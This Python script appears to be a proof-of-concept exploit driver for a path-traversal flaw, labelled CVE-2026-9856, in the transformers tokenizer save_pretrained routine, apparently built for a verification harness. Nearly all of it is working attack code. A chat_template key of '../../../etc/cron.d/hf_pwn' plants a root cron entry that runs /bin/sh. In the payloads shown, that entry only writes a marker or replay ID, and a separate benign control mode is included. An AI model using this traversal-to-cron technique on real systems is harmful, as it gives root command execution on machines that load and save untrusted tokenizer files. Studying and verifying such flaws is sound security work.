#!/usr/bin/env python3
"""CVE-2026-9856 container-side exploit driver.

This invokes the real transformers API on an attacker-controlled tokenizer
artifact. It never executes the dropped file. A separately started crond
process is the only component that consumes the resulting .jinja cron file.

Modes (selected by environment, never by executing the artifact):
- Default: cron payload writes the unique marker to /proof/<marker>.txt.
- PRUVA_PROTECTION_REPLAY_ID + PRUVA_EFFECT_CONTAINER_PATH set: the cron
  payload instead writes the exact replay ID inherited from the executor to
  the executor-provided effect path, so the crond-spawned /bin/sh process is
  the process that produces the typed endpoint effect.
- PRUVA_BENIGN=1: adjacent safe path; a normal string chat_template is saved
  inside the output directory and no traversal key is used.
"""
import json
import os
import pathlib
import sys


def build_tokenizer(model_dir: pathlib.Path, chat_template) -> None:
    from tokenizers import Tokenizer, models, pre_tokenizers
    from transformers import PreTrainedTokenizerFast

    tokenizer = Tokenizer(
        models.WordLevel({"<unk>": 0, "hello": 1, "world": 2}, unk_token="<unk>")
    )
    tokenizer.pre_tokenizer = pre_tokenizers.Whitespace()
    fast = PreTrainedTokenizerFast(tokenizer_object=tokenizer, unk_token="<unk>")
    model_dir.mkdir(parents=True, exist_ok=True)
    fast.save_pretrained(model_dir)

    config_path = model_dir / "tokenizer_config.json"
    config = json.loads(config_path.read_text())
    config["chat_template"] = chat_template
    config_path.write_text(json.dumps(config))


def main() -> int:
    if len(sys.argv) != 4:
        print("usage: hf_cron_exploit.py MODEL_DIR OUT_DIR MARKER", file=sys.stderr)
        return 64

    model_dir = pathlib.Path(sys.argv[1])
    out_dir = pathlib.Path(sys.argv[2])
    marker = sys.argv[3]
    cron_target = pathlib.Path("/etc/cron.d/hf_pwn.jinja")

    benign = os.environ.get("PRUVA_BENIGN") == "1"
    replay_id = os.environ.get("PRUVA_PROTECTION_REPLAY_ID", "")
    effect_container = os.environ.get("PRUVA_EFFECT_CONTAINER_PATH", "")

    # The malicious key resolves as follows in the vulnerable implementation:
    #   OUT/additional_chat_templates/../../../etc/cron.d/hf_pwn.jinja
    # and therefore lands at /etc/cron.d/hf_pwn.jinja. The payload is valid for
    # cronie 1.7.2 and causes crond, not this process, to invoke /bin/sh.
    template_key = "../../../etc/cron.d/hf_pwn"
    if benign:
        chat_template = "{{ messages[0]['content'] }}"
        payload = ""
    elif replay_id and effect_container:
        # The crond-spawned shell writes the exact inherited replay ID to the
        # executor-provided effect path. The stable attacker-controlled token
        # CVE-2026-9856-RCE stays in the process command line for the oracle.
        # cron splits unescaped '%' in commands, so avoid printf '%s'.
        payload = (
            "* * * * * root /bin/sh -c "
            f"\"echo -n '{replay_id}' > {effect_container} # CVE-2026-9856-RCE\"\n"
        )
        chat_template = {template_key: payload}
    else:
        payload = (
            "* * * * * root /bin/sh -c "
            f"\"echo '{marker}' > /proof/{marker}.txt\"\n"
        )
        chat_template = {template_key: payload}

    if cron_target.exists():
        cron_target.unlink()
    marker_path = pathlib.Path("/proof") / f"{marker}.txt"
    if marker_path.exists():
        marker_path.unlink()

    build_tokenizer(model_dir, chat_template)

    import transformers
    from transformers import AutoTokenizer

    print(f"PROCESS_INSTANCE={os.getpid()}", flush=True)
    print(f"TRANSFORMERS_VERSION={transformers.__version__}", flush=True)
    print(f"MODE={'benign' if benign else ('replay' if replay_id else 'marker')}", flush=True)
    if not benign:
        print(f"ATTACKER_TEMPLATE_KEY={template_key}", flush=True)
    print(f"CRON_TARGET={cron_target}", flush=True)
    print(f"EXPECTED_MARKER={marker}", flush=True)
    if replay_id:
        print(f"REPLAY_ID_INHERITED={os.environ.get('PRUVA_PROTECTION_REPLAY_ID', '') == replay_id}", flush=True)
        print(f"EFFECT_CONTAINER_PATH={effect_container}", flush=True)

    tokenizer = AutoTokenizer.from_pretrained(model_dir)
    try:
        tokenizer.save_pretrained(out_dir)
    except ValueError as exc:
        print("SAVE_RESULT=BLOCKED", flush=True)
        print(f"BLOCK_REASON={exc}", flush=True)
        print(f"CRON_FILE_PRESENT={str(cron_target.exists()).lower()}", flush=True)
        return 3 if not cron_target.exists() else 1

    present = cron_target.exists()
    print("SAVE_RESULT=RETURNED", flush=True)
    print(f"CRON_FILE_PRESENT={str(present).lower()}", flush=True)
    if benign:
        # Adjacent safe path: nothing may be written outside the output dir.
        return 0 if not present else 1
    if not present:
        return 1

    actual = cron_target.read_text()
    print(f"CRON_CONTENT_MATCH={str(actual == payload).lower()}", flush=True)
    print(f"CRON_MODE={oct(cron_target.stat().st_mode & 0o777)}", flush=True)
    return 0 if actual == payload else 1


if __name__ == "__main__":
    raise SystemExit(main())